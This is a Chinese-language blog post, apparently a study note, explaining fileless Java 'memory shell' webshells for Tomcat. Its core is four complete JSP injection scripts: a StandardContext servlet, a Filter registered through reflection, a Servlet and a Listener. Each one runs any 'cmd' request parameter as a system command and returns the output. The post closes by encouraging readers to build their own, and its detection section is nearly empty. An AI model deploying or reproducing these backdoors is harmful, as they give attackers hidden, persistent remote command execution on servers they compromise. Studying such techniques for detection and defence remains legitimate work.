内存马

2025 年 12 月 18 日 (已编辑)
3002 字
16 分钟

参考文章

文件落地类型的木马太容易被检测, 来学无文件落地的内存马了

无文件攻击

无文件攻击可以有效规避传统的文件检测的安全软件; 它们在内存中远程加载执行, 驻留注册表或滥用白名单工具(powershell, WMI, psexec等)

它运行攻击者访问系统进行后续的恶意活动, 且不会在执行后留下任何痕迹

内存马介绍

目标

访问任意url或者指定url, 带上参数即可让服务器返回命令执行结果

实现

以java为例,客户端发起的web请求会依次经过Listener、Filter、Servlet, 只要在这个请求的过程中做手脚, 在内存中修改已有的组件或者动态注册一个新的组件, 插入恶意的shellcode即可

类型

1.servlet-api型
通过命令执行等方式动态注册一个新的listener、filter或者servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如spring的controller内存马,tomcat的valve内存马

2.字节码增强型
通过java的instrumentation动态修改已有代码,进而实现命令执行等功能。

前置知识

Java架构

这里有后面实例的背景知识

JavaWeb

关于反射

Java反射

首先, 为什么需要反射:

  • 没有源码我怎么知道类咋样, 而且不同容器和中间件API可能变动
  • 内存马需要运行在应用进程内, 你看反射可以直接在内存里操作
  • 隐蔽

在注入内存马的过程当中,我们可能需要用到反射机制,例如注入一个servlet型的内存马,我们需要使用反射机制来获取当前的context,然后将恶意的servlet(wrapper)添加到当前的context的children中

  1. 获取当前线程 → 找到当前请求的上下文
  2. 遍历容器结构 → 定位到目标Context
  3. 动态修改结构 → 添加恶意Wrapper到children

java instrumentation

Java Instrumentation 是JVM提供的一种运行时程序转换机制,允许开发者在类加载时或运行时修改字节码,从而实现对Java应用程序的监控、诊断和增强,而无需修改源代码。

JVM层面的支持: JVMTI和Java agent

JVMTI(JVM Tool Interface), JVM提供了底层C/C++接口, Instrumentation构建在JVMTI之上

Java agent是一种特殊的Java程序(Jar文件),它是Instrumentation的客户端。与普通Java程序通过main方法启动不同,agent并不是一个可以单独启动的程序,而必须依附在一个Java应用程序(JVM)上,与它运行在同一个进程中,通过Instrumentation API与虚拟机交互

那么既然java instrumentation可以在运行时修改字节码, 我们完全可以修改加载到内存中的类里面的方法, 注入恶意代码

JavaWeb补充

ServletContext是Web应用,ServletContext对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。

内存马实现

直接上一个简单的来自大佬文章的内存马, 执行代码后,访问当前应用的/shell路径,加上cmd参数就可以命令执行了

jsp
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.PrintWriter" %>

<%
    // 创建恶意Servlet(命令执行核心)
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            // 读取命令输出
            Scanner s = new Scanner(in).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            // 返回结果到HTTP响应
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    };
    %>
<%
    // 上下文获取: 通过ClassLoader获取StandardContext
    // Thread.currentThread().getContextClassLoader():获取当前Web应用的ClassLoader
    // WebappClassLoaderBase:Tomcat特有的类加载器,包含容器上下文引用
    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    // getResources().getContext():获取StandardContext实例
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

    // 用Wrapper对恶意Servlet进行封装, 创建Wrapper
    org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
    // 配置Wrapper属性
    newWrapper.setName("jweny");
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());

    // 添加封装后的恶意Wrapper到StandardContext的children当中
    standardCtx.addChild(newWrapper);

    // 添加ServletMapping将访问的URL和Servlet进行绑定(URL路径映射)
    standardCtx.addServletMapping("/shell","jweny");
%>

注意内存马一般会针对环境做出改良, 这个例子首先依赖Tomcat内部API, 然后因为使用的是StandardContext的合法API获取上下文, 并没有用到反射

再来认识一下这个例子, 假设Tomcat容器是一个快递站

  1. StandardContext是区域管理, 管理Servlet/Filter/Listener
  2. Wrapper就是快递包装盒
  3. Servlet是快递内的物品

而我们的攻击步骤, 就是

  1. 塞一个危险物品(恶意Servlet)
  2. 找到快递站管理(获取StandardContext的接口)
  3. 盒子包装(Wrapper封装)
  4. 放到快递货架里(利用StandardContext的接口addChild()添加到children)
  5. 贴上取件码使得这个危险物品可以被找到(绑定URL)

下面分别介绍几种不同的内存马

Filter内存马

原理

Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。

先来看看filter是怎么设计的

所以我们除了filter实例, 还需要配置filterConfigs,filterDefs, filterMaps

注入流程

注入流程如下

ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter

  1. 获取ServletContext
  2. 反射获取ApplicationContext
  3. 反射获取StandardContext
  4. 反射获取filterConfigs Map
  5. 创建恶意FIlter
  6. 创建和配置FilterDef, FilterMap
  7. 添加到StandardContext
  8. 反射创建ApplicationFilterConfig, 将其加入filterConfigs

代码实现

话不多说来看例子, 来自大佬的文章:

jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
  final String name = "filter"; // Filter 的名称

  // 1. 获取 ServletContext
  ServletContext servletContext = request.getServletContext();

  // 2. 通过反射获取 ApplicationContext
  // 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
  Field appctx = servletContext.getClass().getDeclaredField("context");
  appctx.setAccessible(true); // 设置字段可访问
  ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值

  // 3. 通过反射获取 StandardContext
  // 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
  Field stdctx = applicationContext.getClass().getDeclaredField("context");
  stdctx.setAccessible(true); // 设置字段可访问
  StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值

  // 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
  // 反射获取 StandardContext 中的 private 字段 "filterConfigs"
  Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
  Configs.setAccessible(true); // 设置字段可访问
  Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值

  // 5. 检查是否已存在同名 Filter
  if (filterConfigs.get(name) == null) {
    // 6. 创建恶意的 Filter 实例
    Filter filter = new Filter() {
      @Override
      public void init(FilterConfig filterConfig) throws ServletException {
        // Filter 初始化方法 (此处为空)
      }

      @Override
      public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        // Filter 的核心处理方法
        HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
        HttpServletResponse lresponse = (HttpServletResponse) servletResponse;

        // 如果请求参数中包含 "cmd",则执行命令
        if (lrequest.getParameter("cmd") != null) {
          Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
          // 读取命令执行结果
          java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                  new java.io.InputStreamReader(process.getInputStream()));
          StringBuilder stringBuilder = new StringBuilder();
          String line;
          while ((line = bufferedReader.readLine()) != null) {
            stringBuilder.append(line + '\n');
          }
          // 将命令执行结果写入响应
          lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
          lresponse.getOutputStream().flush();
          lresponse.getOutputStream().close();
          return; // 阻止请求继续传递
        }
        filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
      }

      @Override
      public void destroy() {
        // Filter 销毁方法
      }
    };

    // 7. 创建 FilterDef (Filter 定义)
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter); // 设置 Filter 实例
    filterDef.setFilterName(name); // 设置 Filter 名称
    filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
    standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext

    // 8. 创建 FilterMap (Filter 映射)
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
    filterMap.setFilterName(name); // 设置 Filter 名称
    filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
    standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)

    // 9. 创建 ApplicationFilterConfig (Filter 配置)
    // 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
    constructor.setAccessible(true); // 设置构造方法可访问
    // 通过反射创建 ApplicationFilterConfig 实例
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

    // 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
    filterConfigs.put(name, filterConfig);
  }
%>

上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd执行命令

Servlet内存马

Wrapper的配置流程如下: 设置Servlet名称, 设置Servlet类, 设置Servlet实例, 设置加载顺序

注入流程

对比Filter内存马来说步骤更少

  1. 获取ServletContext
  2. 反射获取ApplicationContext
  3. 反射获取StandardContext
  4. 创建和配置Wrapper
  5. 添加到StandardContext
  6. 配置URL映射

代码实现

来看来自大佬的具体实现:

jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>

<%
  // 定义恶意Servlet类
  class EvilServlet extends HttpServlet {
    @Override
    public void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
      String cmd = request.getParameter("cmd");
      if (cmd != null) {
        try {
          Process process = Runtime.getRuntime().exec(cmd);
          BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
          StringBuilder sb = new StringBuilder();
          String line;
          while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
          }
          response.getWriter().write(sb.toString());
        } catch (Exception e) {
          response.getWriter().write(e.toString());
        }
      }
    }

    @Override
    public void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
      doGet(request, response);
    }
  }

  // 注入流程
  final String servletName = "evilServlet";
  final String urlPattern = "/evil";

  // 1. 获取 StandardContext
  ServletContext servletContext = request.getServletContext();
  Field appContextField = servletContext.getClass().getDeclaredField("context");
  appContextField.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
  Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  standardContextField.setAccessible(true);
  StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

  // 2. 检查 Servlet 是否已存在,防止重复注入
  if (standardContext.findChild(servletName) == null) {
    // 3. 创建 Wrapper
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setName(servletName);
    wrapper.setServletClass(EvilServlet.class.getName());
    wrapper.setServlet(new EvilServlet());
    wrapper.setLoadOnStartup(1);

    // 4. 添加 Servlet 配置
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded(urlPattern, servletName);

    out.println("Servlet 注入成功!");
    out.println("访问路径: " + urlPattern);
    out.println("支持参数: cmd");
  } else {
    out.println("Servlet 已存在!");
  }
%>

Listener内存马

区别: Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发; 所以Listener可以实现访问任意路径触发

注入流程

步骤如下:

  1. 获取ServletContext
  2. 反射获取ApplicationContext
  3. 反射获取StandardContext
  4. 创建Listener
  5. 添加到ApplicationEventListener

代码实现

来自大佬的代码, 访问任意路由传参cmd执行命令

jsp
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>

<%
    // 定义恶意Listener
    class EvilListener implements ServletRequestListener {
        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            // 每次请求初始化的时候处理
            System.out.println("start of listen");
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Process process = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(
                            new InputStreamReader(process.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    HttpServletResponse response =
                            (HttpServletResponse) request.getAttribute("javax.servlet.response");
                    response.getWriter().write(sb.toString());
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            // 每次请求结束时的处理
            System.out.println("ends of listen");
        }
    }

    // 注入流程
    // 1. 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    // 2. 创建并添加Listener
    ServletRequestListener evilListener = new EvilListener();
    standardContext.addApplicationEventListener(evilListener);

    out.println("Listener注入成功!");
%>

拓展

你已经学会了, 现在来写个内存马玩玩吧

  1. 早期rebeyond师傅开发的memshell,就是通过修改org.apache.catalina.core.ApplicationFilterChain类的internalDoFilter方法来实现的,
  2. 后期冰蝎最新版本的内存马为了实现更好的兼容性,选择hook javax.servlet.http.HttpServlet#service 函数

其他内存马

内存马查杀

注入内存马的手段同样可以用来查杀内存马, 但是肯定不能通过拿所有已经加载的内存马进行反编译后检测

文章标题:内存马

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/java/%E5%86%85%E5%AD%98%E9%A9%AC[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。